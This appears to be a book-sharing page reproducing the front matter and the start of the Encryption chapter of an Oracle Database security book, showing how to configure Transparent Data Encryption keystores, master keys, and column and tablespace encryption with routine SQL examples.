Oracle Database Application Security: With Oracle Internet Directory, Oracle Access Manager, and Oracle Identity Manager [1st ed.] 978-1-4842-5366-3, 978-1-4842-5367-0

Focus on the security aspects of designing, building, and maintaining a secure Oracle Database application. Starting wit

971 253 7MB

English Pages XVII, 341 [351] Year 2019

Report DMCA / Copyright

DOWNLOAD FILE

Polecaj historie

Oracle Database Application Security: With Oracle Internet Directory, Oracle Access Manager, and Oracle Identity Manager [1st ed.]
 978-1-4842-5366-3, 978-1-4842-5367-0

Table of contents :
Front Matter ....Pages i-xvii
Encryption (Osama Mustafa, Robert P. Lockard)....Pages 1-45
Audits (Osama Mustafa, Robert P. Lockard)....Pages 47-74
Privilege Analysis (Osama Mustafa, Robert P. Lockard)....Pages 75-123
Oracle Database Threats (Osama Mustafa, Robert P. Lockard)....Pages 125-166
Network Access and Evaluation (Osama Mustafa, Robert P. Lockard)....Pages 167-195
Secure Coding and Design (Osama Mustafa, Robert P. Lockard)....Pages 197-244
Single Sign-On (Osama Mustafa, Robert P. Lockard)....Pages 245-331
Back Matter ....Pages 333-341

Citation preview

Oracle Database Application Security With Oracle Internet Directory, Oracle Access Manager, and Oracle Identity Manager — Osama Mustafa Robert P. Lockard

Oracle Database Application Security With Oracle Internet Directory, Oracle Access Manager, and Oracle Identity Manager

Osama Mustafa Robert P. Lockard

Oracle Database Application Security Osama Mustafa Amman, Jordan

Robert P. Lockard Baltimore, MD, USA

ISBN-13 (pbk): 978-1-4842-5366-3 https://doi.org/10.1007/978-1-4842-5367-0

ISBN-13 (electronic): 978-1-4842-5367-0

Copyright © 2019 by Osama Mustafa, Robert P. Lockard This work is subject to copyright. All rights are reserved by the Publisher, whether the whole or part of the material is concerned, specifically the rights of translation, reprinting, reuse of illustrations, recitation, broadcasting, reproduction on microfilms or in any other physical way, and transmission or information storage and retrieval, electronic adaptation, computer software, or by similar or dissimilar methodology now known or hereafter developed. Trademarked names, logos, and images may appear in this book. Rather than use a trademark symbol with every occurrence of a trademarked name, logo, or image we use the names, logos, and images only in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the trademark. The use in this publication of trade names, trademarks, service marks, and similar terms, even if they are not identified as such, is not to be taken as an expression of opinion as to whether or not they are subject to proprietary rights. While the advice and information in this book are believed to be true and accurate at the date of publication, neither the authors nor the editors nor the publisher can accept any legal responsibility for any errors or omissions that may be made. The publisher makes no warranty, express or implied, with respect to the material contained herein. Managing Director, Apress Media LLC: Welmoed Spahr Acquisitions Editor: Nikhil Karkal Development Editor: Matthew Moodie Coordinating Editor: Divya Modi Cover designed by eStudioCalamar Cover image designed by Freepik (www.freepik.com) Distributed to the book trade worldwide by Springer Science+Business Media New York, 233 Spring Street, 6th Floor, New York, NY 10013. Phone 1-800-SPRINGER, fax (201) 348-4505, e-mail [email protected], or visit www.springeronline.com. Apress Media, LLC is a California LLC and the sole member (owner) is Springer Science + Business Media Finance Inc (SSBM Finance Inc). SSBM Finance Inc is a Delaware corporation. For information on translations, please e-mail [email protected], or visit www.apress.com/ rights-permissions. Apress titles may be purchased in bulk for academic, corporate, or promotional use. eBook versions and licenses are also available for most titles. For more information, reference our Print and eBook Bulk Sales web page at www.apress.com/bulk-sales. Any source code or other supplementary material referenced by the author in this book is available to readers on GitHub via the book’s product page, located at www.apress.com/978-1-4842-5366-3. For more detailed information, please visit www.apress.com/source-code. Printed on acid-free paper

We would like to dedicate this to all the victims of cybercrime and the professionals who are working hard to make the criminals’ lives difficult by securing their environments and educating their users.

Table of Contents About the Authors��������������������������������������������������������������������������������xi About the Technical Reviewer�����������������������������������������������������������xiii Acknowledgments������������������������������������������������������������������������������xv Introduction��������������������������������������������������������������������������������������xvii Chapter 1: Encryption���������������������������������������������������������������������������1 Transparent Data Encryption���������������������������������������������������������������������������������1 Rekey the Keystore Master Encryption Key�����������������������������������������������������6 Query the Master Key Information�������������������������������������������������������������������7 Rekey a Table Key������������������������������������������������������������������������������������������15 Rekey a Tablespace���������������������������������������������������������������������������������������15 Change the Password of the Keystore�����������������������������������������������������������16 Column Encryption����������������������������������������������������������������������������������������������17 Salt or No Salt?����������������������������������������������������������������������������������������������18 Encrypt a Column in an Existing Table����������������������������������������������������������18 Primary Key Foreign Key Constraints on an Encrypted Column��������������������19 Rekey a Column���������������������������������������������������������������������������������������������19 Tablespace Encryption����������������������������������������������������������������������������������������20 Tablespace Encryption vs. Column Encryption Performance������������������������������22 External Table Encryption������������������������������������������������������������������������������������24 Where Can Data Spill Out in Plain Text When Using External Tables?�����������������28 Full Database Encryption������������������������������������������������������������������������������������30

v

Table of Contents

Ghost Data����������������������������������������������������������������������������������������������������������31 How to Fix It���������������������������������������������������������������������������������������������������33 Column Encryption����������������������������������������������������������������������������������������33 Tablespace Encryption����������������������������������������������������������������������������������33 Full Encryption�����������������������������������������������������������������������������������������������33 Online Tablespace Encryption������������������������������������������������������������������������34 External Tables����������������������������������������������������������������������������������������������34 Algorithms�����������������������������������������������������������������������������������������������������34 RMAN������������������������������������������������������������������������������������������������������������������35 Data Pump����������������������������������������������������������������������������������������������������������36 Network Encryption and Integrity�����������������������������������������������������������������������39 Configure�������������������������������������������������������������������������������������������������������39 Cross-Border Issues��������������������������������������������������������������������������������������43 Integrity���������������������������������������������������������������������������������������������������������44

Chapter 2: Audits��������������������������������������������������������������������������������47 Ways to Audit a Database�����������������������������������������������������������������������������������48 Application API Code��������������������������������������������������������������������������������������48 Auditing with Trigger Code����������������������������������������������������������������������������48 Normal Audit��������������������������������������������������������������������������������������������������49 Unified Audit��������������������������������������������������������������������������������������������������50 Fine-Grained Auditing������������������������������������������������������������������������������������52 Comparing Methods��������������������������������������������������������������������������������������53 What Happened Yesterday�����������������������������������������������������������������������������55 What Are You Looking for When You Audit?���������������������������������������������������������67 Accessing Information Outside of the Trusted Path��������������������������������������������67

vi

Table of Contents

The Policy Needs to Tell Who, What, When, and Where���������������������������������������68 Who���������������������������������������������������������������������������������������������������������������69 What��������������������������������������������������������������������������������������������������������������69 When�������������������������������������������������������������������������������������������������������������69 Where������������������������������������������������������������������������������������������������������������70 Configuration Drift�����������������������������������������������������������������������������������������70

Chapter 3: Privilege Analysis�������������������������������������������������������������75 SYS.DBMS_PRIVILEGE_CAPTURE������������������������������������������������������������������������76 Requirements������������������������������������������������������������������������������������������������77 Capture Modes����������������������������������������������������������������������������������������������77 Procedures����������������������������������������������������������������������������������������������������79 Views�������������������������������������������������������������������������������������������������������������85 Putting It Together���������������������������������������������������������������������������������������������106

Chapter 4: Oracle Database Threats�������������������������������������������������125 Threat Categories����������������������������������������������������������������������������������������������126 What Protocol Is Your Database Server Using?�������������������������������������������126 Understand the Code Running on Your Database����������������������������������������127 Debug, Debug, and Then Debug Some More�����������������������������������������������127 Test It Before Implementing It���������������������������������������������������������������������127 Dealing with Threats�����������������������������������������������������������������������������������������127 Oracle Authentication and Authorization�����������������������������������������������������128 TNS Poisoning���������������������������������������������������������������������������������������������133 PL/SQL Injection������������������������������������������������������������������������������������������150 Execute Operating System Commands Through Oracle������������������������������153 Injecting a Rootkit into the Oracle Database�����������������������������������������������157 Running Operating System Commands Using DBMS_SCHEDULER�������������159

vii

Table of Contents

Disable Audits Using Oradebug Tools����������������������������������������������������������159 Access the Operating System File System��������������������������������������������������160 Oracle Security Recommendations�������������������������������������������������������������������160 Oracle TNS Listener�������������������������������������������������������������������������������������161 Database Accounts��������������������������������������������������������������������������������������163 PL/SQL Packages, Procedures, and Functions��������������������������������������������165 Patching������������������������������������������������������������������������������������������������������166 Review Database Privileges Frequently������������������������������������������������������166

Chapter 5: Network Access and Evaluation��������������������������������������167 What Is an Access Control List?������������������������������������������������������������������������167 File System ACL�������������������������������������������������������������������������������������������168 Network ACL������������������������������������������������������������������������������������������������169 SQL ACL�������������������������������������������������������������������������������������������������������170 Access Control List Concepts����������������������������������������������������������������������171 Working with ACLs��������������������������������������������������������������������������������������������175 Creating an ACL�������������������������������������������������������������������������������������������175 Deleting an ACL�������������������������������������������������������������������������������������������179 Creating an ACL Based on an Existing ACL��������������������������������������������������179 Checking Privileges�������������������������������������������������������������������������������������182 Dropping an ACL������������������������������������������������������������������������������������������184 Testing an ACL���������������������������������������������������������������������������������������������185 Set Up HTTPS Using an ACL������������������������������������������������������������������������������188 Downloading the Certificate from the Web Site You Would Like to Access�189 Uploading the Certificate�����������������������������������������������������������������������������194 Creating the Wallet��������������������������������������������������������������������������������������194 Testing the Web Site������������������������������������������������������������������������������������195 Summary����������������������������������������������������������������������������������������������������������195

viii

Table of Contents

Chapter 6: Secure Coding and Design����������������������������������������������197 Problematic Designs�����������������������������������������������������������������������������������������198 Improved Design�����������������������������������������������������������������������������������������������200 Schema-Only Accounts�������������������������������������������������������������������������������������202 Trusted Path������������������������������������������������������������������������������������������������������203 Definer’s and Invoker’s Rights���������������������������������������������������������������������206 accessible by�����������������������������������������������������������������������������������������������213 Using the Schema-Only Account�����������������������������������������������������������������������217 Code-Based Access Control������������������������������������������������������������������������������218 Set Up Roles and Privileges�������������������������������������������������������������������������224 Build the API Schema����������������������������������������������������������������������������������226 Business Logic Schema������������������������������������������������������������������������������230 Error Handling���������������������������������������������������������������������������������������������������231 Summary����������������������������������������������������������������������������������������������������������244

Chapter 7: Single Sign-On����������������������������������������������������������������245 SSO Terms and Concepts����������������������������������������������������������������������������������246 Installation and Configuration���������������������������������������������������������������������������250 Oracle Webgate Installation and Configuration�������������������������������������������250 Oracle Internet Directory Installation�����������������������������������������������������������264 Oracle Access Manager������������������������������������������������������������������������������������296 Oracle Access Manager Prerequisites���������������������������������������������������������297 Oracle Access Manager Resource Type�������������������������������������������������������298 Oracle Access Manager Authentication�������������������������������������������������������299 Oracle Access Manager Single Sign-On Cookie������������������������������������������300 Oracle Access Manager Installation������������������������������������������������������������300 Verify the OAM Installation��������������������������������������������������������������������������318

ix

Table of Contents

Single Sign-on Examples����������������������������������������������������������������������������������321 Integrate WebLogic with Kerberos��������������������������������������������������������������321 Configure SSO for a Siebel Application�������������������������������������������������������326 Configure SSO for EBS 12.2.x, Integration with Oracle Access Manager, and Oracle Internet Directory����������������������������������������������������������������������329

Index�������������������������������������������������������������������������������������������������333

x

About the Authors Osama Mustafa is the first Oracle ACE Director in the Middle East and creator/director of the Jordan Amman Oracle User Group, the first group in Jordan related to Oracle technology. The author of two oracle books, Osama is providing a different high services to clients around the world, Furthermore Osama works with different cloud vendors such as AWS, Google, and Oracle. He has experience in automating and implementing projects around the world, as well as solid knowledge of many different databases. Osama has presented at conferences around the world and has written more than 100 articles for different magazines. He also shares his knowledge on his web site at www.osamaoracle.com/.  Robert P. Lockard is an Oracle ACE Director and a professional Oracle DBA, designer, developer, and project manager with more than three decades of experience. For the past 20 years he has worked as an independent consultant providing quality services to his customers at a reasonable price. Robert has worked in financial intelligence tracking money laundering, terrorist money, and identity theft. He has also worked in the cybercrimes arena tracking attacks on information systems. He specializes in evaluating and securing your Oracle database environment from threats both external and internal.   xi

About the Technical Reviewer Srinath Menon is currently working with Oracle India Pvt Ltd for the Oracle Identity and Access Management Support team where he deals with product-related issues that are technical and functional in nature. Prior to being associated with the OIAM product stack, he worked with the Oracle WebCenter Suite. He is also involved in the Oracle forums and community.

xiii

Acknowledgments I am grateful to several people. First I would like to thank my mother for motivating me to become a writer, my fiancée who was patient with me during this project while I spent many weekends working, and my family for their support and understanding of my chosen path and my obsession of information technology. I would like to thank my coauthor, Rob, for collaborating with me on this book. Without all of your support, this book would not have been possible. —Osama Mustafa There are quite a few people who made this book possible. Thanks to Candace Dayton for constantly asking the hard questions and encouraging me; to Associate Professor Olesya Zmazneva, PhD, for passing chapters on to her students so I could get feedback from non-native English speakers who are new to this business; to Darya Lutkova, for reading the draft of the secure coding chapter and then asking great questions that made the chapter even better; and to Roger MacNicol who always made himself available to answer my questions or to bounce ideas around. —Robert P. Lockard

xv

Introduction Security is a complex subject. With the number of attacks on different systems increasing every day, securing a system to protect your company’s data can be overwhelming. However, there is a pragmatic approach you can take to implement a security solution to meet your requirements and to secure the system and protect your data. In this book, you will learn about database security and how to secure your database against database threats, and you’ll see real examples of these threats. Furthermore, this book covers application security and implements single sign-on with different products such as Oracle Internet Directory, Oracle Access Manager, and Oracle Identity Management. Specifically, in this book, you will learn about the following topics and technologies: •

Different kinds of encryption



Database audits and key policy, identity preservation, and fine-grained auditing (FGA)



Database threats and how to secure yourself from them



Intrusion detection tools like Oracle Database Firewall and SNORT



Secure coding standards



Single sign-on

xvii

CHAPTER 1

Encryption From the time of Julius Caesar and the “Caesar shift” algorithm, people have been using encryption to protect information from prying eyes. To use encryption properly, you need to understand how data moves through systems, from storage to where the data is presented. If you are not careful, there will be places where encrypted data will spill out unencrypted. You also need to understand that encryption is just one part of securing your information. Even after you set up encryption, you need to concern yourself with ghost data that may be left behind in storage unencrypted. In this chapter, we’ll discuss how to set up Transparent Data Encryption (TDE), how to implement network encryption, and where ghost data can be found so it can be safely destroyed and kept from prying eyes.

Transparent Data Encryption Transparent Data Encryption is the technology used to encrypt the data that is on disk and used by the Oracle database. TDE covers about 15 percent to 20 percent of the attack surface of the Oracle database. If the database and the keystore are open, then the database will do exactly what it’s designed to do: encrypt and decrypt the data moving through the database. What does TDE protect you from? TDE protests when someone tries to bypass the database and get to the data on disk. Make no mistake, TDE is a powerful tool to protect your information if the files (data files, RMAN backups, and Data Pump Export files) are compromised. © Osama Mustafa, Robert P. Lockard 2019 O. Mustafa and R. P. Lockard, Oracle Database Application Security, https://doi.org/10.1007/978-1-4842-5367-0_1

1

Chapter 1

Encryption

Is there an advantage to using TDE over whole-disk encryption? Well, it depends. There are pros and cons to each. With whole-disk encryption, if the disk is ever compromised, retrieving the data is difficult. However, a user with access to the operating system can bypass the database and access the encrypted data. If you’re using TDE, then the user must go through the database to access the data. To set up TDE, the first thing you need to do is set up a keystore. A keystore is an encrypted file that holds the master key that is used to decrypt the keys for table columns and tablespaces. In the past, the keystore was called the wallet, but this has changed, likely to keep the naming consistent with the Java keystore. You will notice that many of the views still use the term wallet. Don’t let this confuse you; the terms are interchangeable, but we’ll stick to using the term keystore. There are a couple types of keystores. There is a file keystore that is stored on the file system, and there are hardware keystores. An important thing to consider is where are you going to store the file keystore. You should never store the file keystore under ORACLE_BASE or with your data files. We normally place the file keystore in /etc/oracle/wallet/ orclcdb/. This is done so the keystore can be backed up independently of the Oracle binaries and the data files. Remember, the keystore is used to decrypt your data, so if you were to back up your keystore with your data files, then all an attacker would need to do is to figure out the password; further, if you are using an auto open keystore, then an attacker would not even need to figure out the password. You should be backing up your keystore before and after any operation that changes the keystore. If you get an error and the keystore gets corrupted, you will need the backup to recover. After you back up your keystore, keep a copy on-site and off-site. To create the keystore, you’ll need to set the WALLET_ROOT value in the init.ora or spinit.ora file. Either you can create a backup of the init. ora file, edit it, and then use it to restart the database and re-create the spinit.ora file, or you can use alter system set wallet_root using 2

Chapter 1

Encryption

a scope of spfile and then restart the database. The choice is yours. We prefer to use the alter system command. SQL> alter system set wallet_root='/etc/oracle/wallet/orclcdb' scope=spfile; System altered. SQL> – now bounce the database so wallet_root takes effect SQL> shutdown immediate Database closed. Database dismounted. ORACLE instance shut down. SQL> startup ORACLE instance started. Total System Global Area 2432694552 bytes Fixed Size 8898840 bytes Variable Size 654311424 bytes Database Buffers 1761607680 bytes Redo Buffers 7876608 bytes Database mounted. Database opened. Then you need to set TDE_CONFIGURATION so the database knows whether you are using a file keystore or a hardware keystore. SQL> ALTER SYSTEM SET TDE_CONFIGURATION="KEYSTORE_ CONFIGURATION=FILE" scope=BOTH; System altered. Create the user c##sec_admin that will be used to manage TDE, create the keystore, and do the rekeying operations. This user must be granted the syskm and connect privileges.

3

Chapter 1

Encryption

SQL> create user c##sec_admin identified by SecretPassword; User created. SQL> grant syskm, connect to c##sec_admin; Grant succeeded. SQL> conn c##sec_admin as syskm Enter password: Connected. SQL> Now that we have the account set up to manage TDE, we can create the keystore. There are a couple of options when we create the keystore. One of them is to set up an auto open keystore. There are some corner cases where you would not want an auto open keystore, but most databases that we have worked with were up 24/7; therefore, if there is a case where you needed to restart the database, the keystore would open up automatically. There is an argument to not use an auto open keystore in case the keystore ever gets lost. If you are concerned about forgetting the password to the keystore, put the password in the password envelope that is kept in the safe along with the other admin passwords. When we create the keystore using the administer key management command, we do not need to set the keystore location because we set the wallet_root value in the configuration. c##sec_admin > administer key management create keystore identified by SecretPassword; keystore altered. Now if you look in the wallet_root location, you will see that an empty keystore named ewallet.p12 has been created. [oracle@localhost ~]$ cd /etc/oracle/wallet/orclcdb/tde [oracle@localhost tde]$ ls -l total 4 4

Chapter 1

Encryption

-rw-------. 1 oracle oinstall 2555 Dec 22 09:05 ewallet.p12 [oracle@localhost tde]$ Notice that Oracle created the directory tde under wallet_root. Before we do any operations on the keystore, we need to open it. We can create an auto open keystore later, but for now we’re just going to stick to a normal keystore. c##sec_admin > administer key management set keystore open identified by SecretPassword; keystore altered. Now we’re going to set the master encryption key. This is needed to decrypt the tablespace and table encryption keys. We use a tag to indicate this is the initial master encryption key and automatically create a backup with bk1 in the backup name. c##sec_admin > administer key management set key using tag 'initial' identified by SecretPassword with backup using 'bk1'; keystore altered. You’ll notice that after you create the master key, the file size will change, and a backup of the original keystore will be created. [oracle@localhost tde]$ ls -ltr total 12 -rw-------. 1 oracle oinstall 2555 Dec 22 09:27 ewallet_2018122214274238_bk1.p12 -rw-------. 1 oracle oinstall 4171 Dec 22 09:27 ewallet.p12 [oracle@localhost tde]$

5

Chapter 1

Encryption

Rekey the Keystore Master Encryption Key If you suspect your keys have been compromised, then you’ll need to rekey your data. There are three keys you should rekey. •

Master key



Table key



Tablespace key

When you rekey the master encryption key, a history of the master encryption keys is kept in the keystore; this history will be needed if you need to recover backups. You will notice that in the example, we used the current date for the tag. This will make it easier to know what master keys are out there and when they were created. [oracle@localhost ~]$ sqlplus c##sec_admin as syskm SQL*Plus: Release 18.0.0.0.0 - Production on Sun Dec 23 07:38:47 2018 Version 18.3.0.0.0 Copyright (c) 1982, 2018, Oracle. All rights reserved. Enter password: Connected to: Oracle Database 18c Enterprise Edition Release 18.0.0.0.0 Production Version 18.3.0.0.0 SQL> administer key management set key using tag '23Dec2018' identified by SecretPassword

6

Chapter 1

Encryption

with backup using 'bk1'; keystore altered. SQL>

Query the Master Key Information You can query the v$encryption_keys and v$database_key_info views to get the history of your master encryption keys, and you can query the v$encryption_wallet view to get the status of the keystore.

V$ENCRYPTION_WALLET Let’s see what keystores (wallets) you have and their statuses. You see that the type of keystore is FILE, and you can see the location of the keystore, which is open. A single wallet is configured, which is in the ROOT container. It’s fully backed up and has connection ID 1 (the root container). select * from v$encryption_wallet; WRL_TYPE WRL_PARAMETER STATUS WALLET_TYPE WALLET_OR KEYSTORE FULLY_BAC CON_ID -------- ------------------------- ------- ---------------------------- -------- --------- ---------FILE /etc/oracle/wallet/tde/ OPEN AUTOLOGIN SINGLE NONE YES 1 FILE CLOSED UNKNOWN SINGLE UNITED UNDEFINED 2 FILE OPEN AUTOLOGIN SINGLE UNITED YES 3

7

Chapter 1

Encryption

The columns returned are discussed here: Column

Type

Description

WRL_TYPE

VARCHAR2(20)

The type of wallet resource locator. The options are as follows: FILE: File type keystore HSM: Hardware security module OKV: Oracle Key Vault

WRL_ PARAMETER

VARCHAR2(4000) The location of the keystore. For example, in this case we are using /etc/oracle/ wallet/orclcdb. When queried, this returns /etc/oracle/wallet/orclcdb/tde/.

STATUS

VARCHAR2(30)

The options are as follows: OPEN OPEN_NO_MASTER_KEY OPEN_UNKNOWN_MASTER_KEY_STATUS If the database is mounted, the data dictionary is not open, so the database cannot check the status of the hardware keystore.

WALLET_ TYPE

VARCHAR2(20)

The options are as follows: HSM: Hardware Security Module SOFTWARE: Software keystore UNKNOWN: Keystore created using the mkstore utility

WALLET_ ORDER

VARCHAR2(9)

The options are as follows: SINGLE: A single wallet is configured. PRIMARY: Multiple wallets are configured; holds the current master key. SECONDARY: Multiple wallets are configured; holds old master keys.

(continued) 8

Chapter 1

Encryption

Column

Type

Description

KEYSTORE_ MODE

VARCHAR2(8)

The options are as follows: NONE: If you’re in the root container or in a noncontainer database, then the value is NONE. UNITED: The pluggable database is configured to use the keystore from the container database. ISOLATED: The pluggable database is configured to use its own keystore. This has advantages when there are multiple organizations plugging into the same CDB.

FULLY_ BACKED_UP

VARCHAR2(9)

The options are as follows: YES NO

CON_ID

NUMBER

This value is the container the wallet is associated with.

V  $ENCRYPTION_KEYS To get a list of the encryption keys and what they apply to, use the following (see Figure 1-1): select tag, activation_time, creator, key_use, keystore_type, backed_up, activating_pdbname from V$ENCRYPTION_KEYS;

9

Chapter 1

Encryption

Figure 1-1.  Getting a list of the encryption keys and what they apply to Here you’ll see the master encryption keys for the root container and the pluggable database ORCLPDB1:

KEY_ID

VARCHAR2(78)

Master Key ID

TAG

VARCHAR2(4000)

Tag associated with the master key.

CREATION_TIME

TIMESTAMP(6) WITH TIME ZONE

Timestamp of when the master key was created.

ACTIVATION_ TIME

TIMESTAMP(6) WITH TIME ZONE

Time the master key was activated.

CREATOR

VARCHAR2(128)

Username of the user who created the master key. NOTE: When created with the user-granted privilege syskm, the username will equal syskm.

(continued)

10

Chapter 1

Encryption

KEY_ID

VARCHAR2(78)

Master Key ID

CREATOR_ID

NUMBER

User ID of the user who created the master key. NOTE: When created with the user-­ granted privilege syskm, the user_id value will equal 0, which maps to user sys.

USER

VARCHAR2(128)

The username that activated the master key. NOTE: This is the username that was granted the syskm privilege.

USER_ID

NUMBER

User ID of the user who activated the master key. NOTE: user_id returns 0, which maps to user sys.

KEY_USE

VARCHAR2(10)

The master key used for TDE operation in a PDB.

KEYSTORE_TYPE

VARCHAR2(17)

The options are as follows: HSM: Hardware Security Module. SOFTWARE KEYSTORE: Software keystore. UNDEFINED: The keystore does not have information of the type of keystore for the master key.

ORIGIN

VARCHAR2(41)

The origin of the keystore. The values are as follows: 1: Created locally in this database 2: Imported from another database 3: Imported and key metadata created locally during activation 4: Key metadata created locally; unknown if keystore created locally or imported 5: Master key status unknown

(continued) 11

Chapter 1

Encryption

KEY_ID

VARCHAR2(78)

Master Key ID

BACKED_UP

VARCHAR2(9)

This specifies if the keystore has been backed up. The options are as follows: NO: The keystore has not been backed up. YES: The keystore has been backed up.

CREATOR_DBNAME VARCHAR2(128)

Database that created the master key.

CREATOR_DBID

NUMBER

Database ID that created the master key.

CREATOR_ INSTANCE_NAME

VARCHAR2(30)

Instance that created the master key.

CREATOR_ INSTANCE_ NUMBER

NUMBER

Instance number that created the master key.

CREATOR_ INSTANCE_ SERIAL

NUMBER

Instance serial number that created the master key.

CREATOR_ PDBNAME

VARCHAR2(128)

PDB that the master key was created in.

CREATOR_ PDBUID

NUMBER

PDB UID that the master key was created in.

CREATOR_ PDBGUID

RAW(16)

PDB GUID that the master key was created in.

ACTIVATING_ DBID

NUMBER

Database ID the master key was activated in.

ACTIVATING_ DBNAME

VARCHAR2(128)

Database the master key was activated in.

(continued)

12

Chapter 1

Encryption

KEY_ID

VARCHAR2(78)

Master Key ID

ACTIVATING_ INSTANCE_NAME

VARCHAR2(30)

Instance name the master key was activated in.

ACTIVATING_ INSTANCE_ NUMBER

NUMBER

Instance number the master key was activated in.

ACTIVATING_ INSTANCE_ SERIAL

NUMBER

Instance serial number the master key was activated in.

ACTIVATING_ PDBNAME

VARCHAR2(128)

PDB name the master key was activated in

ACTIVATING_ PDBID

NUMBER

PDB ID that the master key was activated in.

ACTIVATING_ PDBUID

NUMBER

PDB UID that the master key was activated in.

ACTIVATING_ PDBGUID

RAW(16)

PDB GUID that the master key was activated in.

CON_ID

NUMBER

Container associated with the master key.

V$DATABASE_KEY_INFO Query the keys that are being used to encrypt the system, sysaux, temp, and undo tablespaces. You will notice that when you query from the root container, you get all the keys, and when you query from the pluggable database, you get only the key information for the pluggable database. syskm@orclroot > select encryptionalg,   2                     masterkey_activated,   3                     masterkeyid, 13

Chapter 1

Encryption

  4                     con_id   5* from v$database_key_info ENCRYPT MAS MASTERKEYID                          CON_ID ------- --- -------------------------------- ---------AES128  YES 8613EEC551AB4FB8BF38898D8989CBFB          1 NONE    NO  00000000000000000000000000000000          2 AES128  YES 4FE6A1BA0CFA4F50BF415F095E1A033A          3 r@orclpdb1 > select encryptionalg,   2                     masterkey_activated,   3                     masterkeyid,   4                     con_id   5  from v$database_key_info; ENCRYPT MAS MASTERKEYID                          CON_ID ------- --- -------------------------------- ---------AES128  YES 4FE6A1BA0CFA4F50BF415F095E1A033A          3 Here is a table of the relevant columns: Column

Type

Description

ENCRYPTIONALG VARCHAR2(7)

This is the encryption algorithm. The options are as follows: NONE 3DES168 AES128 AES192: Default Algorithm AES256

ENCRYPTEDKEY

RAW(48)

The encrypted version of the database key.

MASTERKEYID

RAW(16)

The master key ID that was used to encrypt the database key.

(continued) 14

Chapter 1

Encryption

Column

Type

Description

MASTERKEY_ ACTIVATED

VARCHAR2(3)

The options are as follows: YES: The master key has been set for the current container. NO: The master key has not been set for the current container.

CON_ID

NUMBER

Container ID the key is associated with.

Rekey a Table Key Rekeying a table key is just as easy as rekeying the master key. Simply alter the table with the rekey option. orclpdb1 > alter table t rekey; Table altered. You can also change the encryption algorithm with the rekey option. Use the rekey using option. orclpdb1 > alter table t rekey using 'aes256'; Table altered.

Rekey a Tablespace Rekeying a tablespace requires you know the name of the data files, because you are going to need to use the FILE_NAME_CONVERT clause. The first thing you are going to do is to get the file names for the data files. After you have the file name, then execute the alter tablespace encryption rekey command.

15

Chapter 1

Encryption

We’ll start with getting the data files associated with the ENC_DAT tablespace. We’ll need those because Oracle will create new data files in the rekey operation and securely delete the old data files. orclpdb1 > select file_name from sys.dba_data_files   2  where tablespace_name = 'ENC_DAT'; FILE_NAME --------------------------------------------------------/media/sf_work/oradat/enc_dat01_enc.dbf -- Now that we have the file name, we can rekey the tablespace. orclpdb1 > alter tablespace enc_dat   2  encryption rekey   3  file_name_convert=('/media/sf_work/oradat/enc_dat01_enc. dbf',   4*                    '/media/sf_work/oradat/enc_dat01_ enc_201901.dbf'); Tablespace altered.

Change the Password of the Keystore When rekeying the master key, it’s a good idea to change the keystore password also. To change the keystore password, you need to provide the old and new passwords. SQL> administer key management alter keystore password identified by SecretPassword set NewSecretPassword with backup using 'bk1'; keystore altered.

16

Chapter 1

Encryption

Column Encryption There are use cases for encrypting columns as opposed to encrypting the full database. We normally consider these corner cases, so we will examine how to encrypt specific columns and the issues that come up with column encryption. The master encryption key that is in the keystore is used to decrypt the table key that is stored in sys.enc$. The key in sys.enc$ is then used to encrypt and decrypt the column data. To create a table with encrypted data, use the encrypt option on the column; you also have the option of specifying what algorithm to use. In this case, if you specify the AES256 algorithm, you’ll notice something. Most of the columns are encrypted; this is because something you may not believe is sensitive, such as state or ZIP code, can become sensitive when combined with other information. Therefore, in this use case, you still encrypt most of the data, and this would be a great candidate for tablespace encryption. You should also encrypt the country code, but we’ll leave that for now. The second thing you should know is that the table encryption key that is stored in sys.enc$ is used for every column in the table. If you did not specify what algorithm to use, TDE would default to using AES192. create table people (id number primary key, fname varchar2(35) not null encrypt using 'aes256', lname varchar2(35) not null encrypt using 'aes256', country_code varchar2(4) not null, phone varchar2(12) not null encrypt using 'aes256', email varchar2(35) not null encrypt using 'aes256', addr1 varchar2(65) not null encrypt using 'aes256', addr2 varchar2(65) not null encrypt using 'aes256', city varchar2(65) not null encrypt using 'aes256', state varchar2(65) not null encrypt using 'aes256', zip varchar2(5) not null encrypt using 'aes256', zip_4 varchar2(4) not null encrypt using 'aes256'); 17

Chapter 1

Encryption

Salt or No Salt? One of the attack vectors against encrypted information is to compare encrypted strings and use statistical analysis to derive the message. This works because strings will always encrypt to the same value. To get past this, a salt is added to the string to change the encryption value. The good part about a salt is that you’re a bit safer; the bad part is that you can’t put a salt on an indexed column. By default, when encrypting a column, a salt will be used. r@orclpdb1 > create table t (id number primary key,   2* email varchar2(35) encrypt using 'aes256' salt); Table T created. If you need to index the column, specify no salt in the command. r@orclpdb1 > create table t (id number primary key,   2* email varchar2(35) encrypt using 'aes256' no salt); Table T created.

Encrypt a Column in an Existing Table If you have an existing table and a policy comes down to encrypt a column in it, you will need to alter the table and encrypt the column. You can either specify an encryption algorithm or use the default AES192. alter table hr.employees modify ssn encrypt using 'aes256' no salt; This will encrypt the column without using a salt. In this case, we did not use salt because there is an index on the SSN column. Because there is an existing index on the column, the index will be encrypted too.

18

Chapter 1

Encryption

 rimary Key Foreign Key Constraints P on an Encrypted Column You can’t put a primary key foreign key constraint on an encrypted column. If you do, you’ll get an ORA=28335 error. create table t (id number primary key, c1 varchar2(25)); alter table t modify id encrypt no salt; create table t1 (id number primary key, t_id number references t(id)); ORA-28335: referenced or referencing FK constraint column cannot be encrypted

Rekey a Column You can rekey an encrypted column using the rekey option. This can be used to change the encryption algorithm and change the table encryption key. First you can rekey a table using the same encryption algorithm. In other words, if the table is encrypted using the AES256 algorithm, the encryption algorithm will stay the same. alter table hr.employees rekey; There may be cases where your organization changes the algorithm required for sensitive data. In this case, use the clause rekey using ''. alter table hr.employees rekey using '3des168';

19

Chapter 1

Encryption

